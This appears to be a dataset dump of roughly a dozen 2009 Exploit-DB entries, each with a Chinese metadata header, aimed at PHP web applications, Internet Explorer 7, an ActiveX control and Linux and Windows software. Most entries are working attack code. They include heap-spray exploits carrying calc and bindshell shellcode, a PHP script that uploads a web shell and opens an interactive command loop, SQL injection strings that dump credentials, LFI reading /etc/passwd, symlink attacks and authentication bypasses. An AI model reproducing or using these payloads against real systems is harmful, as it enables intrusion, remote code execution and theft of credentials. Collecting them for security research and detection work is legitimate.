QLWD/code_shield huggingface dataset:
标题: zFeeder 1.6 - 'admin.php' Admin Bypass EDB-ID: 8092 CVE: 2009-0807 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-23 漏洞利用脚本: -----------------:remote bypass admin panel:-----------------
-------------------------------------------------------
script:zfeeder 1.6
    
------------------------------------------------------------------
download from:http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/z/zv/zvonnews/zfeeder-1.6.zip
   
------------------------------------------------------------------
.......................................................
xpl:

http://127.0.0.1/path/admin.php?zfaction=config
------------------------------------------------------

dork: intitle:"zFeeder admin panel"
-----------------------------------------------------

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-02-23] URL: https://www.exploit-db.com/exploits/8092
标题: pHNews Alpha 1 - 'genbackup.php' Database Disclosure EDB-ID: 8073 CVE: 2009-0866 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-17 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : pHNews Alpha 1
Download       : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability  : Db Discloure
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/extra/genbackup.php

#########################################################################################
[0x03] Exploit:

Exploit: http://victim.org/extra/genbackup.php
########################################################################################

# milw0rm.com [2009-02-17] URL: https://www.exploit-db.com/exploits/8073
标题: smNews 1.0 - Authentication Bypass / Column Truncation EDB-ID: 8076 CVE: 2009-0750 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-18 漏洞利用脚本: #########################################################################################
[0x01] Informations:
Name           : smNews
Download       : http://downloads.sourceforge.net/simplequizz/simpleQuizz.zip?modtime=1229788692&big_mirror=0
Vulnerability  : Auth Bypass/Column Truncation
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian //
Greetz         : Str0ke,
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/smNews/login.php [...] register.php
[code]
  $results = execute('select',
        array('table' => 'users',
       'where' => array('username =~ ^'.$_POST['username'].'$', 'and', 'password = '.md5($_POST['password'])),
       'limit' => array(0,0)));
[/code]

[code]
  execute('insert',
    array('table' => 'users',
          'values' => array('username' => $_POST['username'],
                            'password' => md5($_POST['password']),
                            'email'    => $_POST['email'])));
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: 1- Username: admin ' or '
            Password: x0r
      2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an
      account with your passwd, email and nick 'lol' ^^ easy :P
########################################################################################

EOF

# milw0rm.com [2009-02-18] URL: https://www.exploit-db.com/exploits/8076
标题: Microsoft Internet Explorer 7 (Windows 2003 SP2) - Memory Corruption (MS09-002) EDB-ID: 8082 CVE: 2009-0076 2009-0075 类型: REMOTE 平台: WINDOWS 发布日期: 2009-02-20 漏洞利用脚本: <!-- Calculator should spawn. changed the block size. tested on 2003 Server SP2. webDEViL -->

<script language="JavaScript">

var c=unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

var array = new Array(); 

var ls = 0xd00000; 

var b = unescape("%u0c0c%u0c0c"); 
while(b.length<ls/2) { b+=b;} 
var lh = b.substring(0,ls/2); 
delete b; 

for(i=0; i<0xC0; i++) { 
 array[i] = lh + c;
} 
 CollectGarbage();


var s1=unescape("%u9090%u9090AAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement("img"));

function ok() { 
 o1=document.createElement("tbody"); 
 o1.click; 
 var o2 = o1.cloneNode(); 
 o1.clearAttributes(); 
 o1=null; CollectGarbage(); 
 for(var x=0;x<a1.length;x++) a1[x].src=s1; 
 o2.click;
}
</script><script>window.setTimeout("ok();",800);</script>

# milw0rm.com [2009-02-20] URL: https://www.exploit-db.com/exploits/8082
标题: Microsoft Internet Explorer 7 (Windows XP SP2) - Memory Corruption (MS09-002) EDB-ID: 8079 CVE: 2009-0076 2009-0075 类型: REMOTE 平台: WINDOWS 发布日期: 2009-02-20 漏洞利用脚本: <!--
Internet Explorer 7 Uninitialized Memory Corruption Exploit

http://www.microsoft.com/technet/security/bulletin/MS09-002.mspx

Abyssec Inc Public Exploits 2009/2/18

this Exploit is based on N/A PoC in Milw0rm but The PoC was really simple to
exploit this PoC can be exploit on DEP-Enabled System As well using .Net 
Shellcode trick or etc mayve i write Dep-Enabled version too And also 
i should notice , this code can modify to be more reliable ..

Feel free to visit us at : www.Abyssec.com
to contact me directly use : admin@abyssec.com

Note : Tested and Worked On XP SP2  please wait for another version
-->

<script language="JavaScript">

// Skyland win32 bindshell (28876/tcp) shellcode
// If you want an evill Shellcode go ahead !!!

var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

var array = new Array();

//Don't need change but for execute time you can change ;)

var calc = 0x100000-(shellcode.length*2+0x01020);

// Spray or Not :-??

var point = unescape("%u0D0D%u0D0D");
while(point.length<calc) { point+=point;}
var sec = point.substring(0,calc/2);
delete point;

for(i=0; i<0xD0; i++) {
array[i] = sec + shellcode;
}

// N/A Code 

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img"));
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;
</script>

# milw0rm.com [2009-02-20] URL: https://www.exploit-db.com/exploits/8079
标题: Microsoft Internet Explorer 7 - Memory Corruption (PoC) (MS09-002) EDB-ID: 8077 CVE: 2009-0075 类型: DOS 平台: WINDOWS 发布日期: 2009-02-18 漏洞利用脚本: <!--
MS09-002
===============================
grabbed from:
wget http://www.chengjitj.com/bbs/images/alipay/mm/jc/jc.html --user-agent="MSIE 7.0; Windows NT 5.1"

took a little but found it. /str0ke
-->

<script language="JavaScript">

var c="putyourshizhere-unescaped";

var array = new Array(); 

var ls = 0x100000-(c.length*2+0x01020); 

var b = unescape("%u0C0C%u0C0C"); 
while(b.length<ls/2) { b+=b;} 
var lh = b.substring(0,ls/2); 
delete b; 

for(i=0; i<0xC0; i++) { 
 array[i] = lh + c;
} 

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement("img"));

function ok() { 
 o1=document.createElement("tbody"); 
 o1.click; 
 var o2 = o1.cloneNode(); 
 o1.clearAttributes(); 
 o1=null; CollectGarbage(); 
 for(var x=0;x<a1.length;x++) a1[x].src=s1; 
 o2.click;
}
</script><script>window.setTimeout("ok();",800);</script>

# milw0rm.com [2009-02-18] URL: https://www.exploit-db.com/exploits/8077
标题: S-CMS 1.1 Stable - Insecure Cookie Handling / Mass Page Delete EDB-ID: 8071 CVE: 2009-0864 2009-0863 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-17 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : S-Cms 1.1 Stable 
Download       : http://www.hotscripts.com/listings/jump/download/87992/
Vulnerability  : Insecure Cookie Handling / Mass Page Delete
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login_action.php ... /admin/delete_page.php

[Code]

$user=$_POST['username'];
$pass=$_POST['password'];

$select_admin = mysql_query("SELECT * FROM cms_admin");

while($dati_admin=mysql_fetch_array($select_admin)){
$username=$dati_admin['username'];
$password=$dati_admin['password'];
}

if ($user == $username && $pass == $password){
 
   setcookie("login", "OK", time() + $logintime); #0wn3d

[/code]

[CODE]
 
  $id=$_GET['id'];
  
  $delete=mysql_query("DELETE FROM cms_content WHERE id='$id'");
  
  
  if ($delete){
  
  echo ""._DELETE_PAGE_SUCCESS."";
  
  } else {
  
  echo ""._DELETE_PAGE_ERROR."";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: 1- javascript:document.cookie = "login=OK; path=/"
         2- http://[victim].org/path/admin/delete_page.php?id=' or 1=1/*

########################################################################################

# milw0rm.com [2009-02-17] URL: https://www.exploit-db.com/exploits/8071
标题: Enomaly ECP / Enomalism < 2.2.1 - Multiple Local Vulnerabilities EDB-ID: 8067 CVE: 2009-0390 类型: LOCAL 平台: MULTIPLE 发布日期: 2009-02-16 漏洞利用脚本: Enomaly ECP/Enomalism: Multiple vulnerabilities in enomalism2.sh (redux)

Synopsis

All versions of Enomaly ECP/Enomalism[1] before 2.2.1 have multiple issues
relating to the use of temporary files in an insecure manner.

Fixes for CVE-2008-4990[2] and CVE-2009-0390[3] in 2.1.1 and 2.2 were found
to be ineffective.

Background

Enomaly ECP (formerly Enomalism) is management software for virtual machines.

Description

Sam Johnston[4] of Australian Online Solutions[5] reported multiple
vulnerabilities in enomalism2.sh:
 - Race condition on $PIDFILE renders 2.1.1 fixes ineffective
 - Incomplete fixes in 2.1.1/2.2 fail to address stop/restart functions
 - Root ownership check (ls -l $PIDFILE |grep root) is trivially bypassed by:
   - changing the symlink's group to one containing the word 'root' or
   - creating a symlink to any filename containing the word 'root'
 - Process check (ps -p $PID |grep enomalism2d) is also trivially bypassed.

Impact

A local attacker could perform a symlink attack to overwrite arbitrary files
on the system with root privileges, inject arguments to the 'kill' command
to terminate or send arbitrary signals to any process(es) as root or launch
a denial of service attack by preventing the virtual machines from starting.

Exploits

a. while true; do ln -s /etc/passwd /tmp/enomalism2.pid; done
b. echo "-9 1" > /tmp/enomalism2.pid
c. i. ln -s /tmp/root /tmp/enomalism2.pid
  ii. chgrp beetroot /tmp/enomalism2.pid

Workaround

Change PIDFILE from /tmp/enomalism2.pid to /var/run/enomalism2.pid

Resolution

All Enomaly ECP and Enomalism users should upgrade to version 2.2.1[6] which
includes researcher fix.

History

2009-02-09 Bug initially reported to Enomaly by mail
2009-02-09 CVE(s) requested from Mitre; TBA
2009-02-09 Product Development Manager acknowledged receipt.
  "Thanks, we're incorporating a fix for the next release."
2009-02-10 Update announced[7] with no mention of security vulnerability:
  "ECP 2.2.1 is now available on both sourceforge and pypi.  This is a
  bug-fix release.  No new features have been added."
2009-02-14 Publication of vulnerability

References
1. http://sourceforge.net/projects/enomalism
2. http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4990
3. http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0390
4. http://samj.net/
5. http://www.aos.net.au/
6. http://sourceforge.net/project/showfiles.php?group_id=164855&package_id=186866&release_id=660061
7. http://groups.google.com/group/enomalism/browse_thread/thread/ae94ac7cb5fa7683

# milw0rm.com [2009-02-16] URL: https://www.exploit-db.com/exploits/8067
标题: TPTEST 3.1.7 - Stack Buffer Overflow (PoC) EDB-ID: 8058 CVE: 2009-0659 2009-0650 类型: DOS 平台: WINDOWS 发布日期: 2009-02-16 漏洞利用脚本: #!/usr/local/bin/perl

# TPTEST <= 3.1.7 (maby also 5.0.2?)
# tptest.sourceforge.net
# stackbased buffer overflow poc in server (client can also be exploit)
# author: ffwd

use IO::Socket;($host,$port)=@ARGV;
$rem=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
if(!$rem){die "1\n";}$rem->autoflush(1);
$cookie=$major=$minor="123";
$r=<$rem>;print "$r";sleep 5; # to attach in gdb..
if($r=~/cookie=([0-9]*)/){$cookie=$1;}
if($r=~/vmajor=([0-9]*)/){$major=$1;}
if($r=~/vminor=([0-9]*)/){$minor=$1;}
$s="TEST vmajor=$major;vminor=$minor;mode=4;timeout=60;tcpbytes=0;cookie=$cookie;client=\r\n";
print "$s";print $rem "$s";$rr=<$rem>;print "$rr";
if($rr=~/^210 tcpdataport=([0-9]*)/)
{$data=$1;$remm=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$data);
if(!$remm){die "2\n";}}
$ss="STATS majorv=$major;minorv=$minor;pktssent=0;pktsunsent=0;pktsrcvd=0;bytessent=51200;bytesrcvd=0;".
"maxrtt=0;minrtt=999999999;totrtt=0;nortt=0;oocount=0;txstart_s=7274757975;txstart_us=717574;".
"txstop_s=7274757975;txstop_us=717173;rxstart_s=0;rxstart_us=0;rxstop_s=0;rxstop_us=0;email=;pwd=".
("A"x42)."\r\n"; # buffer overflow!
print "$ss";print $rem "$ss";
print while <$rem>;

# milw0rm.com [2009-02-16] URL: https://www.exploit-db.com/exploits/8058
标题: Falt4 CMS RC4 - 'FCKeditor' Arbitrary File Upload EDB-ID: 8060 CVE: 2008-6178 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-16 漏洞利用脚本: ################################################################
#
# Falt4 CMS (fckeditor) Arbitrary File Upload Exploit
#
# Bug Discovered By : Sp3shial
#
# Sp3shial@ymail.com
#
# Persian Boys Hacking Team From A Land With A History-Long Background
#
# Download CMS : http://downloads.sourceforge.net/falt4/falt4extreme.zip?modtime=1196845455&big_mirror=0
#
###############################################################

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}

function connector_response($html)
{
 return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| Falt4 CMS (fckeditor) Arbitrary File Upload Exploit by Sp3shial  |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /Falt4/\n";
 die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename  = md5(time()).".php";
$connector = "modules/newsletter/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root 

$packet  = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
 print "\nFalt4-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
 }
 else break;
}

?>

# milw0rm.com [2009-02-16] URL: https://www.exploit-db.com/exploits/8060
标题: GeoVision LiveX 8200 - ActiveX 'LIVEX_~1.OCX' File Corruption EDB-ID: 8059 CVE: 2009-0865 类型: REMOTE 平台: WINDOWS 发布日期: 2009-02-16 漏洞利用脚本: <!--
GeoVision LiveX_v8200 ActiveX Control (LIVEX_~1.OCX) remote file corruption poc
by Nine:Situations:Group::SnoopyAssault
site: http://retrogod.altervista.org/

working against IE8b/xpsp3, safe for scripting and for initialize.
LiveX_v7000 with clsid {DA8484DE-52DB-4860-A986-61A8682E298A}
LiveX_v8120 with clsid {F4421170-DB22-4551-BBFB-FFCFFB419F6F}
have the same SnapShotToFile() and SnapShotX() methods

this poc connects to a live demo server and replaces system.ini with jpeg content...
could we set arbitrary content (???) ... maybe trough a fake server, checking ...
-->
<html>
<head>
<script language="JavaScript">
function sleep(n)
{
    var now = new Date();
    var exitTime = now.getTime() + (n*1000);
    while (true) {
        now = new Date();
            if (now.getTime() > exitTime) return;
    }
}
</script>
</head>
<body>
 <object classid="clsid:8D58D690-6B71-4ee8-85AD-006DB0287BF1" id="WebCamX1" width="360" height="300">
            <param name="IpAddress" value="http://24.248.47.203" ref> <!-- demo server -->
            <param name="DisablePWD" value="-1">
            <param name="UserName" value="wec">
            <param name="Password" value="">
           <param name="CommandPort" value="4550">
   <param name="DataPort" value="5550">
   <param name="AudioDataPort" value="6550">
   <param name="BandWidth" value="LAN">
   <param name="FixSize" value="0">
   <param name="FixWidth" value="320">
   <param name="FixHeight" value="240">
   <param name="SvrType" value="0">
   <param name="AutoLogin" value="0">
   <param name="DefaultCam" value="1">
   <param name="AutoReConnect" value="-1">
   <param name="MaxRetries" value="-1">
   <param name="RetryInterval" value="70">
          </object>
<script language="JavaScript">
  sleep(2);
  //WebCamX1.SetCntDeviceType(0);
  //WebCamX1.EnableAutoScreenSize(1);
  //WebCamX1.SetInfo(125,1,0,"","");
  //WebCamX1.SetInfo(129,1,0,"",""); 
  //WebCamX1.SetUpdateInfo(100, "WebCam", 0, "", 8200, 0,0);
  //WebCamX1.DefaultCam = 1;
  WebCamX1.PlayX();
  sleep(2);
  WebCamX1.SnapShotToFile("../../../../../../../../../../../windows/system.ini");
  WebCamX1.SnapShotX();
</script>      
</body>
</html>

# milw0rm.com [2009-02-16] URL: https://www.exploit-db.com/exploits/8059
标题: ideacart 0.02 - Local File Inclusion / SQL Injection EDB-ID: 8049 CVE: 2009-5089 2009-5088 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-13 漏洞利用脚本: #IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities


#Author: nuclear


#LFI:
http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00


#SQL:
http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23


#notes:
get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ bla bla bla


#greetz Mi4night, cAs, zYzTeM, Digitalfortress, THE_MAN, Pepe, I-O-W-A,
 DiGitalX, sys32-hack, sys32r, Whitestar


#special greets to: Digitalfortress
thnx for keeping me up mate


#to str0ke:
thnx for putting all the vulns up brotha !


#comment:
I'm finally done with this shit..number 13 and there will be no more
I'm outta here.. bye ya'll 

# milw0rm.com [2009-02-13] URL: https://www.exploit-db.com/exploits/8049
标题: Vlinks 1.1.6 - 'id' SQL Injection EDB-ID: 8050 CVE: 2009-5091 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-13 漏洞利用脚本: #########################################################################################
[!x!] Informations:

Name           : vlinks
Download       : http://www.vlinks.org/ =>http://www.vlinks.org/vlinks-v1.1.6.rar
Vulnerability  : Sql Injection
Author         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM/Forum (langague arabic)
Notes          : 3arabi Muslim Maghribi (bladi blad lmgharba kamlin Dini Din lmsalmin Kamlin)
#########################################################################################
[!x!] Bug:

Bugged file is /[path]/page.php?

[Note]
Pass Simple
[/Note]

#########################################################################################
[!x!] Exploit:

Exploit: http://no-exploit.com/forum/page.php?nc=vbvb&id=-1 union select 0,concat(nom,0x3a,passe),2,3+from+infos--

########################################################################################
[!x!] To: ÙÙ„Ø³Ø·ÙŠÙ† Ø§Ù„Ø­Ø±Ø©
Cyber-Zone(Abdelkhalek) ,Hussin X ,leopard ,FrFoRHaCKeR ,ShBh BaGhDaD ,RoMyOoOo
members [No-exploit.Com]

# milw0rm.com [2009-02-13] URL: https://www.exploit-db.com/exploits/8050